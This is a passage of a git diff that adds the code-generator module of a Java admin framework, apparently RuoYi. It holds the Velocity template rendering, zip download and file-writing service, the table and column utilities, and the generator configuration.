查询表信息 + GenTable table = genTableMapper.selectGenTableById(tableId); + // 设置主子表信息 + setSubTable(table); + // 设置主键列信息 + setPkColumn(table); + VelocityInitializer.initVelocity(); + + VelocityContext context = VelocityUtils.prepareContext(table); + + // 获取模板列表 + List templates = VelocityUtils.getTemplateList(table.getTplCategory()); + for (String template : templates) + { + // 渲染模板 + StringWriter sw = new StringWriter(); + Template tpl = Velocity.getTemplate(template, Constants.UTF8); + tpl.merge(context, sw); + dataMap.put(template, sw.toString()); + } + return dataMap; + } + + /** + * 生成代码(下载方式) + * + * @param tableName 表名称 + * @return 数据 + */ + @Override + public byte[] downloadCode(String tableName) + { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + ZipOutputStream zip = new ZipOutputStream(outputStream); + generatorCode(tableName, zip); + IOUtils.closeQuietly(zip); + return outputStream.toByteArray(); + } + + /** + * 生成代码(自定义路径) + * + * @param tableName 表名称 + */ + @Override + public void generatorCode(String tableName) + { + // 查询表信息 + GenTable table = genTableMapper.selectGenTableByName(tableName); + // 设置主子表信息 + setSubTable(table); + // 设置主键列信息 + setPkColumn(table); + + VelocityInitializer.initVelocity(); + + VelocityContext context = VelocityUtils.prepareContext(table); + + // 获取模板列表 + List templates = VelocityUtils.getTemplateList(table.getTplCategory()); + for (String template : templates) + { + if (!StringUtils.containsAny(template, "sql.vm", "api.js.vm", "index.vue.vm", "index-tree.vue.vm")) + { + // 渲染模板 + StringWriter sw = new StringWriter(); + Template tpl = Velocity.getTemplate(template, Constants.UTF8); + tpl.merge(context, sw); + try + { + String path = getGenPath(table, template); + FileUtils.writeStringToFile(new File(path), sw.toString(), CharsetKit.UTF_8); + } + catch (IOException e) + { + throw new ServiceException("渲染模板失败,表名:" + table.getTableName()); + } + } + } + } + + /** + * 同步数据库 + * + * @param tableName 表名称 + */ + @Override + @Transactional + public void synchDb(String tableName) + { + GenTable table = genTableMapper.selectGenTableByName(tableName); + List tableColumns = table.getColumns(); + Map tableColumnMap = tableColumns.stream().collect(Collectors.toMap(GenTableColumn::getColumnName, Function.identity())); + + List dbTableColumns = genTableColumnMapper.selectDbTableColumnsByName(tableName); + if (StringUtils.isEmpty(dbTableColumns)) + { + throw new ServiceException("同步数据失败,原表结构不存在"); + } + List dbTableColumnNames = dbTableColumns.stream().map(GenTableColumn::getColumnName).collect(Collectors.toList()); + + dbTableColumns.forEach(column -> { + GenUtils.initColumnField(column, table); + if (tableColumnMap.containsKey(column.getColumnName())) + { + GenTableColumn prevColumn = tableColumnMap.get(column.getColumnName()); + column.setColumnId(prevColumn.getColumnId()); + if (column.isList()) + { + // 如果是列表,继续保留查询方式/字典类型选项 + column.setDictType(prevColumn.getDictType()); + column.setQueryType(prevColumn.getQueryType()); + } + if (StringUtils.isNotEmpty(prevColumn.getIsRequired()) && !column.isPk() + && (column.isInsert() || column.isEdit()) + && ((column.isUsableColumn()) || (!column.isSuperColumn()))) + { + // 如果是(新增/修改&非主键/非忽略及父属性),继续保留必填/显示类型选项 + column.setIsRequired(prevColumn.getIsRequired()); + column.setHtmlType(prevColumn.getHtmlType()); + } + genTableColumnMapper.updateGenTableColumn(column); + } + else + { + genTableColumnMapper.insertGenTableColumn(column); + } + }); + + List delColumns = tableColumns.stream().filter(column -> !dbTableColumnNames.contains(column.getColumnName())).collect(Collectors.toList()); + if (StringUtils.isNotEmpty(delColumns)) + { + genTableColumnMapper.deleteGenTableColumns(delColumns); + } + } + + /** + * 批量生成代码(下载方式) + * + * @param tableNames 表数组 + * @return 数据 + */ + @Override + public byte[] downloadCode(String[] tableNames) + { + ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); + ZipOutputStream zip = new ZipOutputStream(outputStream); + for (String tableName : tableNames) + { + generatorCode(tableName, zip); + } + IOUtils.closeQuietly(zip); + return outputStream.toByteArray(); + } + + /** + * 查询表信息并生成代码 + */ + private void generatorCode(String tableName, ZipOutputStream zip) + { + // 查询表信息 + GenTable table = genTableMapper.selectGenTableByName(tableName); + // 设置主子表信息 + setSubTable(table); + // 设置主键列信息 + setPkColumn(table); + + VelocityInitializer.initVelocity(); + + VelocityContext context = VelocityUtils.prepareContext(table); + + // 获取模板列表 + List templates = VelocityUtils.getTemplateList(table.getTplCategory()); + for (String template : templates) + { + // 渲染模板 + StringWriter sw = new StringWriter(); + Template tpl = Velocity.getTemplate(template, Constants.UTF8); + tpl.merge(context, sw); + try + { + // 添加到zip + zip.putNextEntry(new ZipEntry(VelocityUtils.getFileName(template, table))); + IOUtils.write(sw.toString(), zip, Constants.UTF8); + IOUtils.closeQuietly(sw); + zip.flush(); + zip.closeEntry(); + } + catch (IOException e) + { + log.error("渲染模板失败,表名:" + table.getTableName(), e); + } + } + } + + /** + * 修改保存参数校验 + * + * @param genTable 业务信息 + */ + @Override + public void validateEdit(GenTable genTable) + { + if (GenConstants.TPL_TREE.equals(genTable.getTplCategory())) + { + String options = JSON.toJSONString(genTable.getParams()); + JSONObject paramsObj = JSON.parseObject(options); + if (StringUtils.isEmpty(paramsObj.getString(GenConstants.TREE_CODE))) + { + throw new ServiceException("树编码字段不能为空"); + } + else if (StringUtils.isEmpty(paramsObj.getString(GenConstants.TREE_PARENT_CODE))) + { + throw new ServiceException("树父编码字段不能为空"); + } + else if (StringUtils.isEmpty(paramsObj.getString(GenConstants.TREE_NAME))) + { + throw new ServiceException("树名称字段不能为空"); + } + else if (GenConstants.TPL_SUB.equals(genTable.getTplCategory())) + { + if (StringUtils.isEmpty(genTable.getSubTableName())) + { + throw new ServiceException("关联子表的表名不能为空"); + } + else if (StringUtils.isEmpty(genTable.getSubTableFkName())) + { + throw new ServiceException("子表关联的外键名不能为空"); + } + } + } + } + + /** + * 设置主键列信息 + * + * @param table 业务表信息 + */ + public void setPkColumn(GenTable table) + { + for (GenTableColumn column : table.getColumns()) + { + if (column.isPk()) + { + table.setPkColumn(column); + break; + } + } + if (StringUtils.isNull(table.getPkColumn())) + { + table.setPkColumn(table.getColumns().get(0)); + } + if (GenConstants.TPL_SUB.equals(table.getTplCategory())) + { + for (GenTableColumn column : table.getSubTable().getColumns()) + { + if (column.isPk()) + { + table.getSubTable().setPkColumn(column); + break; + } + } + if (StringUtils.isNull(table.getSubTable().getPkColumn())) + { + table.getSubTable().setPkColumn(table.getSubTable().getColumns().get(0)); + } + } + } + + /** + * 设置主子表信息 + * + * @param table 业务表信息 + */ + public void setSubTable(GenTable table) + { + String subTableName = table.getSubTableName(); + if (StringUtils.isNotEmpty(subTableName)) + { + table.setSubTable(genTableMapper.selectGenTableByName(subTableName)); + } + } + + /** + * 设置代码生成其他选项值 + * + * @param genTable 设置后的生成对象 + */ + public void setTableFromOptions(GenTable genTable) + { + JSONObject paramsObj = JSON.parseObject(genTable.getOptions()); + if (StringUtils.isNotNull(paramsObj)) + { + String treeCode = paramsObj.getString(GenConstants.TREE_CODE); + String treeParentCode = paramsObj.getString(GenConstants.TREE_PARENT_CODE); + String treeName = paramsObj.getString(GenConstants.TREE_NAME); + String parentMenuId = paramsObj.getString(GenConstants.PARENT_MENU_ID); + String parentMenuName = paramsObj.getString(GenConstants.PARENT_MENU_NAME); + + genTable.setTreeCode(treeCode); + genTable.setTreeParentCode(treeParentCode); + genTable.setTreeName(treeName); + genTable.setParentMenuId(parentMenuId); + genTable.setParentMenuName(parentMenuName); + } + } + + /** + * 获取代码生成地址 + * + * @param table 业务表信息 + * @param template 模板文件路径 + * @return 生成地址 + */ + public static String getGenPath(GenTable table, String template) + { + String genPath = table.getGenPath(); + if (StringUtils.equals(genPath, "/")) + { + return System.getProperty("user.dir") + File.separator + "src" + File.separator + VelocityUtils.getFileName(template, table); + } + return genPath + File.separator + VelocityUtils.getFileName(template, table); + } +} \ No newline at end of file diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/service/IGenTableColumnService.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/service/IGenTableColumnService.java new file mode 100644 index 0000000..3037f70 --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/service/IGenTableColumnService.java @@ -0,0 +1,44 @@ +package com.ruoyi.generator.service; + +import java.util.List; +import com.ruoyi.generator.domain.GenTableColumn; + +/** + * 业务字段 服务层 + * + * @author ruoyi + */ +public interface IGenTableColumnService +{ + /** + * 查询业务字段列表 + * + * @param tableId 业务字段编号 + * @return 业务字段集合 + */ + public List selectGenTableColumnListByTableId(Long tableId); + + /** + * 新增业务字段 + * + * @param genTableColumn 业务字段信息 + * @return 结果 + */ + public int insertGenTableColumn(GenTableColumn genTableColumn); + + /** + * 修改业务字段 + * + * @param genTableColumn 业务字段信息 + * @return 结果 + */ + public int updateGenTableColumn(GenTableColumn genTableColumn); + + /** + * 删除业务字段信息 + * + * @param ids 需要删除的数据ID + * @return 结果 + */ + public int deleteGenTableColumnByIds(String ids); +} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/service/IGenTableService.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/service/IGenTableService.java new file mode 100644 index 0000000..9d53f95 --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/service/IGenTableService.java @@ -0,0 +1,121 @@ +package com.ruoyi.generator.service; + +import java.util.List; +import java.util.Map; +import com.ruoyi.generator.domain.GenTable; + +/** + * 业务 服务层 + * + * @author ruoyi + */ +public interface IGenTableService +{ + /** + * 查询业务列表 + * + * @param genTable 业务信息 + * @return 业务集合 + */ + public List selectGenTableList(GenTable genTable); + + /** + * 查询据库列表 + * + * @param genTable 业务信息 + * @return 数据库表集合 + */ + public List selectDbTableList(GenTable genTable); + + /** + * 查询据库列表 + * + * @param tableNames 表名称组 + * @return 数据库表集合 + */ + public List selectDbTableListByNames(String[] tableNames); + + /** + * 查询所有表信息 + * + * @return 表信息集合 + */ + public List selectGenTableAll(); + + /** + * 查询业务信息 + * + * @param id 业务ID + * @return 业务信息 + */ + public GenTable selectGenTableById(Long id); + + /** + * 修改业务 + * + * @param genTable 业务信息 + * @return 结果 + */ + public void updateGenTable(GenTable genTable); + + /** + * 删除业务信息 + * + * @param tableIds 需要删除的表数据ID + * @return 结果 + */ + public void deleteGenTableByIds(Long[] tableIds); + + /** + * 导入表结构 + * + * @param tableList 导入表列表 + */ + public void importGenTable(List tableList); + + /** + * 预览代码 + * + * @param tableId 表编号 + * @return 预览数据列表 + */ + public Map previewCode(Long tableId); + + /** + * 生成代码(下载方式) + * + * @param tableName 表名称 + * @return 数据 + */ + public byte[] downloadCode(String tableName); + + /** + * 生成代码(自定义路径) + * + * @param tableName 表名称 + * @return 数据 + */ + public void generatorCode(String tableName); + + /** + * 同步数据库 + * + * @param tableName 表名称 + */ + public void synchDb(String tableName); + + /** + * 批量生成代码(下载方式) + * + * @param tableNames 表数组 + * @return 数据 + */ + public byte[] downloadCode(String[] tableNames); + + /** + * 修改保存参数校验 + * + * @param genTable 业务信息 + */ + public void validateEdit(GenTable genTable); +} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/util/GenUtils.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/util/GenUtils.java new file mode 100644 index 0000000..e7ebc20 --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/util/GenUtils.java @@ -0,0 +1,257 @@ +package com.ruoyi.generator.util; + +import java.util.Arrays; +import org.apache.commons.lang3.RegExUtils; +import com.ruoyi.common.constant.GenConstants; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.generator.config.GenConfig; +import com.ruoyi.generator.domain.GenTable; +import com.ruoyi.generator.domain.GenTableColumn; + +/** + * 代码生成器 工具类 + * + * @author ruoyi + */ +public class GenUtils +{ + /** + * 初始化表信息 + */ + public static void initTable(GenTable genTable, String operName) + { + genTable.setClassName(convertClassName(genTable.getTableName())); + genTable.setPackageName(GenConfig.getPackageName()); + genTable.setModuleName(getModuleName(GenConfig.getPackageName())); + genTable.setBusinessName(getBusinessName(genTable.getTableName())); + genTable.setFunctionName(replaceText(genTable.getTableComment())); + genTable.setFunctionAuthor(GenConfig.getAuthor()); + genTable.setCreateBy(operName); + } + + /** + * 初始化列属性字段 + */ + public static void initColumnField(GenTableColumn column, GenTable table) + { + String dataType = getDbType(column.getColumnType()); + String columnName = column.getColumnName(); + column.setTableId(table.getTableId()); + column.setCreateBy(table.getCreateBy()); + // 设置java字段名 + column.setJavaField(StringUtils.toCamelCase(columnName)); + // 设置默认类型 + column.setJavaType(GenConstants.TYPE_STRING); + column.setQueryType(GenConstants.QUERY_EQ); + + if (arraysContains(GenConstants.COLUMNTYPE_STR, dataType) || arraysContains(GenConstants.COLUMNTYPE_TEXT, dataType)) + { + // 字符串长度超过500设置为文本域 + Integer columnLength = getColumnLength(column.getColumnType()); + String htmlType = columnLength >= 500 || arraysContains(GenConstants.COLUMNTYPE_TEXT, dataType) ? GenConstants.HTML_TEXTAREA : GenConstants.HTML_INPUT; + column.setHtmlType(htmlType); + } + else if (arraysContains(GenConstants.COLUMNTYPE_TIME, dataType)) + { + column.setJavaType(GenConstants.TYPE_DATE); + column.setHtmlType(GenConstants.HTML_DATETIME); + } + else if (arraysContains(GenConstants.COLUMNTYPE_NUMBER, dataType)) + { + column.setHtmlType(GenConstants.HTML_INPUT); + + // 如果是浮点型 统一用BigDecimal + String[] str = StringUtils.split(StringUtils.substringBetween(column.getColumnType(), "(", ")"), ","); + if (str != null && str.length == 2 && Integer.parseInt(str[1]) > 0) + { + column.setJavaType(GenConstants.TYPE_BIGDECIMAL); + } + // 如果是整形 + else if (str != null && str.length == 1 && Integer.parseInt(str[0]) <= 10) + { + column.setJavaType(GenConstants.TYPE_INTEGER); + } + // 长整形 + else + { + column.setJavaType(GenConstants.TYPE_LONG); + } + } + + // 插入字段(默认所有字段都需要插入) + column.setIsInsert(GenConstants.REQUIRE); + + // 编辑字段 + if (!arraysContains(GenConstants.COLUMNNAME_NOT_EDIT, columnName) && !column.isPk()) + { + column.setIsEdit(GenConstants.REQUIRE); + } + // 列表字段 + if (!arraysContains(GenConstants.COLUMNNAME_NOT_LIST, columnName) && !column.isPk()) + { + column.setIsList(GenConstants.REQUIRE); + } + // 查询字段 + if (!arraysContains(GenConstants.COLUMNNAME_NOT_QUERY, columnName) && !column.isPk()) + { + column.setIsQuery(GenConstants.REQUIRE); + } + + // 查询字段类型 + if (StringUtils.endsWithIgnoreCase(columnName, "name")) + { + column.setQueryType(GenConstants.QUERY_LIKE); + } + // 状态字段设置单选框 + if (StringUtils.endsWithIgnoreCase(columnName, "status")) + { + column.setHtmlType(GenConstants.HTML_RADIO); + } + // 类型&性别字段设置下拉框 + else if (StringUtils.endsWithIgnoreCase(columnName, "type") + || StringUtils.endsWithIgnoreCase(columnName, "sex")) + { + column.setHtmlType(GenConstants.HTML_SELECT); + } + // 图片字段设置图片上传控件 + else if (StringUtils.endsWithIgnoreCase(columnName, "image")) + { + column.setHtmlType(GenConstants.HTML_IMAGE_UPLOAD); + } + // 文件字段设置文件上传控件 + else if (StringUtils.endsWithIgnoreCase(columnName, "file")) + { + column.setHtmlType(GenConstants.HTML_FILE_UPLOAD); + } + // 内容字段设置富文本控件 + else if (StringUtils.endsWithIgnoreCase(columnName, "content")) + { + column.setHtmlType(GenConstants.HTML_EDITOR); + } + } + + /** + * 校验数组是否包含指定值 + * + * @param arr 数组 + * @param targetValue 值 + * @return 是否包含 + */ + public static boolean arraysContains(String[] arr, String targetValue) + { + return Arrays.asList(arr).contains(targetValue); + } + + /** + * 获取模块名 + * + * @param packageName 包名 + * @return 模块名 + */ + public static String getModuleName(String packageName) + { + int lastIndex = packageName.lastIndexOf("."); + int nameLength = packageName.length(); + return StringUtils.substring(packageName, lastIndex + 1, nameLength); + } + + /** + * 获取业务名 + * + * @param tableName 表名 + * @return 业务名 + */ + public static String getBusinessName(String tableName) + { + int lastIndex = tableName.lastIndexOf("_"); + int nameLength = tableName.length(); + return StringUtils.substring(tableName, lastIndex + 1, nameLength); + } + + /** + * 表名转换成Java类名 + * + * @param tableName 表名称 + * @return 类名 + */ + public static String convertClassName(String tableName) + { + boolean autoRemovePre = GenConfig.getAutoRemovePre(); + String tablePrefix = GenConfig.getTablePrefix(); + if (autoRemovePre && StringUtils.isNotEmpty(tablePrefix)) + { + String[] searchList = StringUtils.split(tablePrefix, ","); + tableName = replaceFirst(tableName, searchList); + } + return StringUtils.convertToCamelCase(tableName); + } + + /** + * 批量替换前缀 + * + * @param replacementm 替换值 + * @param searchList 替换列表 + * @return + */ + public static String replaceFirst(String replacementm, String[] searchList) + { + String text = replacementm; + for (String searchString : searchList) + { + if (replacementm.startsWith(searchString)) + { + text = replacementm.replaceFirst(searchString, ""); + break; + } + } + return text; + } + + /** + * 关键字替换 + * + * @param text 需要被替换的名字 + * @return 替换后的名字 + */ + public static String replaceText(String text) + { + return RegExUtils.replaceAll(text, "(?:表|若依)", ""); + } + + /** + * 获取数据库类型字段 + * + * @param columnType 列类型 + * @return 截取后的列类型 + */ + public static String getDbType(String columnType) + { + if (StringUtils.indexOf(columnType, "(") > 0) + { + return StringUtils.substringBefore(columnType, "("); + } + else + { + return columnType; + } + } + + /** + * 获取字段长度 + * + * @param columnType 列类型 + * @return 截取后的列类型 + */ + public static Integer getColumnLength(String columnType) + { + if (StringUtils.indexOf(columnType, "(") > 0) + { + String length = StringUtils.substringBetween(columnType, "(", ")"); + return Integer.valueOf(length); + } + else + { + return 0; + } + } +} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/util/VelocityInitializer.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/util/VelocityInitializer.java new file mode 100644 index 0000000..9f69403 --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/util/VelocityInitializer.java @@ -0,0 +1,34 @@ +package com.ruoyi.generator.util; + +import java.util.Properties; +import org.apache.velocity.app.Velocity; +import com.ruoyi.common.constant.Constants; + +/** + * VelocityEngine工厂 + * + * @author ruoyi + */ +public class VelocityInitializer +{ + /** + * 初始化vm方法 + */ + public static void initVelocity() + { + Properties p = new Properties(); + try + { + // 加载classpath目录下的vm文件 + p.setProperty("resource.loader.file.class", "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader"); + // 定义字符集 + p.setProperty(Velocity.INPUT_ENCODING, Constants.UTF8); + // 初始化Velocity引擎,指定配置Properties + Velocity.init(p); + } + catch (Exception e) + { + throw new RuntimeException(e); + } + } +} diff --git a/ruoyi-generator/src/main/java/com/ruoyi/generator/util/VelocityUtils.java b/ruoyi-generator/src/main/java/com/ruoyi/generator/util/VelocityUtils.java new file mode 100644 index 0000000..7ede02d --- /dev/null +++ b/ruoyi-generator/src/main/java/com/ruoyi/generator/util/VelocityUtils.java @@ -0,0 +1,402 @@ +package com.ruoyi.generator.util; + +import java.util.ArrayList; +import java.util.HashSet; +import java.util.List; +import java.util.Set; +import org.apache.velocity.VelocityContext; +import com.alibaba.fastjson2.JSON; +import com.alibaba.fastjson2.JSONObject; +import com.ruoyi.common.constant.GenConstants; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.generator.domain.GenTable; +import com.ruoyi.generator.domain.GenTableColumn; + +/** + * 模板处理工具类 + * + * @author ruoyi + */ +public class VelocityUtils +{ + /** 项目空间路径 */ + private static final String PROJECT_PATH = "main/java"; + + /** mybatis空间路径 */ + private static final String MYBATIS_PATH = "main/resources/mapper"; + + /** 默认上级菜单,系统工具 */ + private static final String DEFAULT_PARENT_MENU_ID = "3"; + + /** + * 设置模板变量信息 + * + * @return 模板列表 + */ + public static VelocityContext prepareContext(GenTable genTable) + { + String moduleName = genTable.getModuleName(); + String businessName = genTable.getBusinessName(); + String packageName = genTable.getPackageName(); + String tplCategory = genTable.getTplCategory(); + String functionName = genTable.getFunctionName(); + + VelocityContext velocityContext = new VelocityContext(); + velocityContext.put("tplCategory", genTable.getTplCategory()); + velocityContext.put("tableName", genTable.getTableName()); + velocityContext.put("functionName", StringUtils.isNotEmpty(functionName) ? functionName : "【请填写功能名称】"); + velocityContext.put("ClassName", genTable.getClassName()); + velocityContext.put("className", StringUtils.uncapitalize(genTable.getClassName())); + velocityContext.put("moduleName", genTable.getModuleName()); + velocityContext.put("BusinessName", StringUtils.capitalize(genTable.getBusinessName())); + velocityContext.put("businessName", genTable.getBusinessName()); + velocityContext.put("basePackage", getPackagePrefix(packageName)); + velocityContext.put("packageName", packageName); + velocityContext.put("author", genTable.getFunctionAuthor()); + velocityContext.put("datetime", DateUtils.getDate()); + velocityContext.put("pkColumn", genTable.getPkColumn()); + velocityContext.put("importList", getImportList(genTable)); + velocityContext.put("permissionPrefix", getPermissionPrefix(moduleName, businessName)); + velocityContext.put("columns", genTable.getColumns()); + velocityContext.put("table", genTable); + velocityContext.put("dicts", getDicts(genTable)); + setMenuVelocityContext(velocityContext, genTable); + if (GenConstants.TPL_TREE.equals(tplCategory)) + { + setTreeVelocityContext(velocityContext, genTable); + } + if (GenConstants.TPL_SUB.equals(tplCategory)) + { + setSubVelocityContext(velocityContext, genTable); + } + return velocityContext; + } + + public static void setMenuVelocityContext(VelocityContext context, GenTable genTable) + { + String options = genTable.getOptions(); + JSONObject paramsObj = JSON.parseObject(options); + String parentMenuId = getParentMenuId(paramsObj); + context.put("parentMenuId", parentMenuId); + } + + public static void setTreeVelocityContext(VelocityContext context, GenTable genTable) + { + String options = genTable.getOptions(); + JSONObject paramsObj = JSON.parseObject(options); + String treeCode = getTreecode(paramsObj); + String treeParentCode = getTreeParentCode(paramsObj); + String treeName = getTreeName(paramsObj); + + context.put("treeCode", treeCode); + context.put("treeParentCode", treeParentCode); + context.put("treeName", treeName); + context.put("expandColumn", getExpandColumn(genTable)); + if (paramsObj.containsKey(GenConstants.TREE_PARENT_CODE)) + { + context.put("tree_parent_code", paramsObj.getString(GenConstants.TREE_PARENT_CODE)); + } + if (paramsObj.containsKey(GenConstants.TREE_NAME)) + { + context.put("tree_name", paramsObj.getString(GenConstants.TREE_NAME)); + } + } + + public static void setSubVelocityContext(VelocityContext context, GenTable genTable) + { + GenTable subTable = genTable.getSubTable(); + String subTableName = genTable.getSubTableName(); + String subTableFkName = genTable.getSubTableFkName(); + String subClassName = genTable.getSubTable().getClassName(); + String subTableFkClassName = StringUtils.convertToCamelCase(subTableFkName); + + context.put("subTable", subTable); + context.put("subTableName", subTableName); + context.put("subTableFkName", subTableFkName); + context.put("subTableFkClassName", subTableFkClassName); + context.put("subTableFkclassName", StringUtils.uncapitalize(subTableFkClassName)); + context.put("subClassName", subClassName); + context.put("subclassName", StringUtils.uncapitalize(subClassName)); + context.put("subImportList", getImportList(genTable.getSubTable())); + } + + /** + * 获取模板信息 + * + * @return 模板列表 + */ + public static List getTemplateList(String tplCategory) + { + List templates = new ArrayList(); + templates.add("vm/java/domain.java.vm"); + templates.add("vm/java/mapper.java.vm"); + templates.add("vm/java/service.java.vm"); + templates.add("vm/java/serviceImpl.java.vm"); + templates.add("vm/java/controller.java.vm"); + templates.add("vm/xml/mapper.xml.vm"); + templates.add("vm/sql/sql.vm"); + templates.add("vm/js/api.js.vm"); + if (GenConstants.TPL_CRUD.equals(tplCategory)) + { + templates.add("vm/vue/index.vue.vm"); + } + else if (GenConstants.TPL_TREE.equals(tplCategory)) + { + templates.add("vm/vue/index-tree.vue.vm"); + } + else if (GenConstants.TPL_SUB.equals(tplCategory)) + { + templates.add("vm/vue/index.vue.vm"); + templates.add("vm/java/sub-domain.java.vm"); + } + return templates; + } + + /** + * 获取文件名 + */ + public static String getFileName(String template, GenTable genTable) + { + // 文件名称 + String fileName = ""; + // 包路径 + String packageName = genTable.getPackageName(); + // 模块名 + String moduleName = genTable.getModuleName(); + // 大写类名 + String className = genTable.getClassName(); + // 业务名称 + String businessName = genTable.getBusinessName(); + + String javaPath = PROJECT_PATH + "/" + StringUtils.replace(packageName, ".", "/"); + String mybatisPath = MYBATIS_PATH + "/" + moduleName; + String vuePath = "vue"; + + if (template.contains("domain.java.vm")) + { + fileName = StringUtils.format("{}/domain/{}.java", javaPath, className); + } + if (template.contains("sub-domain.java.vm") && StringUtils.equals(GenConstants.TPL_SUB, genTable.getTplCategory())) + { + fileName = StringUtils.format("{}/domain/{}.java", javaPath, genTable.getSubTable().getClassName()); + } + else if (template.contains("mapper.java.vm")) + { + fileName = StringUtils.format("{}/mapper/{}Mapper.java", javaPath, className); + } + else if (template.contains("service.java.vm")) + { + fileName = StringUtils.format("{}/service/I{}Service.java", javaPath, className); + } + else if (template.contains("serviceImpl.java.vm")) + { + fileName = StringUtils.format("{}/service/impl/{}ServiceImpl.java", javaPath, className); + } + else if (template.contains("controller.java.vm")) + { + fileName = StringUtils.format("{}/controller/{}Controller.java", javaPath, className); + } + else if (template.contains("mapper.xml.vm")) + { + fileName = StringUtils.format("{}/{}Mapper.xml", mybatisPath, className); + } + else if (template.contains("sql.vm")) + { + fileName = businessName + "Menu.sql"; + } + else if (template.contains("api.js.vm")) + { + fileName = StringUtils.format("{}/api/{}/{}.js", vuePath, moduleName, businessName); + } + else if (template.contains("index.vue.vm")) + { + fileName = StringUtils.format("{}/views/{}/{}/index.vue", vuePath, moduleName, businessName); + } + else if (template.contains("index-tree.vue.vm")) + { + fileName = StringUtils.format("{}/views/{}/{}/index.vue", vuePath, moduleName, businessName); + } + return fileName; + } + + /** + * 获取包前缀 + * + * @param packageName 包名称 + * @return 包前缀名称 + */ + public static String getPackagePrefix(String packageName) + { + int lastIndex = packageName.lastIndexOf("."); + return StringUtils.substring(packageName, 0, lastIndex); + } + + /** + * 根据列类型获取导入包 + * + * @param genTable 业务表对象 + * @return 返回需要导入的包列表 + */ + public static HashSet getImportList(GenTable genTable) + { + List columns = genTable.getColumns(); + GenTable subGenTable = genTable.getSubTable(); + HashSet importList = new HashSet(); + if (StringUtils.isNotNull(subGenTable)) + { + importList.add("java.util.List"); + } + for (GenTableColumn column : columns) + { + if (!column.isSuperColumn() && GenConstants.TYPE_DATE.equals(column.getJavaType())) + { + importList.add("java.util.Date"); + importList.add("com.fasterxml.jackson.annotation.JsonFormat"); + } + else if (!column.isSuperColumn() && GenConstants.TYPE_BIGDECIMAL.equals(column.getJavaType())) + { + importList.add("java.math.BigDecimal"); + } + } + return importList; + } + + /** + * 根据列类型获取字典组 + * + * @param genTable 业务表对象 + * @return 返回字典组 + */ + public static String getDicts(GenTable genTable) + { + List columns = genTable.getColumns(); + Set dicts = new HashSet(); + addDicts(dicts, columns); + if (StringUtils.isNotNull(genTable.getSubTable())) + { + List subColumns = genTable.getSubTable().getColumns(); + addDicts(dicts, subColumns); + } + return StringUtils.join(dicts, ", "); + } + + /** + * 添加字典列表 + * + * @param dicts 字典列表 + * @param columns 列集合 + */ + public static void addDicts(Set dicts, List columns) + { + for (GenTableColumn column : columns) + { + if (!column.isSuperColumn() && StringUtils.isNotEmpty(column.getDictType()) && StringUtils.equalsAny( + column.getHtmlType(), + new String[] { GenConstants.HTML_SELECT, GenConstants.HTML_RADIO, GenConstants.HTML_CHECKBOX })) + { + dicts.add("'" + column.getDictType() + "'"); + } + } + } + + /** + * 获取权限前缀 + * + * @param moduleName 模块名称 + * @param businessName 业务名称 + * @return 返回权限前缀 + */ + public static String getPermissionPrefix(String moduleName, String businessName) + { + return StringUtils.format("{}:{}", moduleName, businessName); + } + + /** + * 获取上级菜单ID字段 + * + * @param paramsObj 生成其他选项 + * @return 上级菜单ID字段 + */ + public static String getParentMenuId(JSONObject paramsObj) + { + if (StringUtils.isNotEmpty(paramsObj) && paramsObj.containsKey(GenConstants.PARENT_MENU_ID) + && StringUtils.isNotEmpty(paramsObj.getString(GenConstants.PARENT_MENU_ID))) + { + return paramsObj.getString(GenConstants.PARENT_MENU_ID); + } + return DEFAULT_PARENT_MENU_ID; + } + + /** + * 获取树编码 + * + * @param paramsObj 生成其他选项 + * @return 树编码 + */ + public static String getTreecode(JSONObject paramsObj) + { + if (paramsObj.containsKey(GenConstants.TREE_CODE)) + { + return StringUtils.toCamelCase(paramsObj.getString(GenConstants.TREE_CODE)); + } + return StringUtils.EMPTY; + } + + /** + * 获取树父编码 + * + * @param paramsObj 生成其他选项 + * @return 树父编码 + */ + public static String getTreeParentCode(JSONObject paramsObj) + { + if (paramsObj.containsKey(GenConstants.TREE_PARENT_CODE)) + { + return StringUtils.toCamelCase(paramsObj.getString(GenConstants.TREE_PARENT_CODE)); + } + return StringUtils.EMPTY; + } + + /** + * 获取树名称 + * + * @param paramsObj 生成其他选项 + * @return 树名称 + */ + public static String getTreeName(JSONObject paramsObj) + { + if (paramsObj.containsKey(GenConstants.TREE_NAME)) + { + return StringUtils.toCamelCase(paramsObj.getString(GenConstants.TREE_NAME)); + } + return StringUtils.EMPTY; + } + + /** + * 获取需要在哪一列上面显示展开按钮 + * + * @param genTable 业务表对象 + * @return 展开按钮列序号 + */ + public static int getExpandColumn(GenTable genTable) + { + String options = genTable.getOptions(); + JSONObject paramsObj = JSON.parseObject(options); + String treeName = paramsObj.getString(GenConstants.TREE_NAME); + int num = 0; + for (GenTableColumn column : genTable.getColumns()) + { + if (column.isList()) + { + num++; + String columnName = column.getColumnName(); + if (columnName.equals(treeName)) + { + break; + } + } + } + return num; + } +} diff --git a/ruoyi-generator/src/main/resources/generator.yml b/ruoyi-generator/src/main/resources/generator.yml new file mode 100644 index 0000000..c603ebc --- /dev/null +++ b/ruoyi-generator/src/main/resources/generator.yml @@ -0,0 +1,10 @@ +# 代码生成 +gen: + # 作者 + author: ruoyi + # 默认生成包路径 system 需改成自己的模块名称 如 system monitor tool + packageName: com.ruoyi.bussiness + # 自动去除表前缀,默认是false + autoRemovePre: false + # 表前缀(生成类名不会包含表前缀,多个用逗号分隔) + tablePrefix: sys_ \ No newline at end of file diff --git 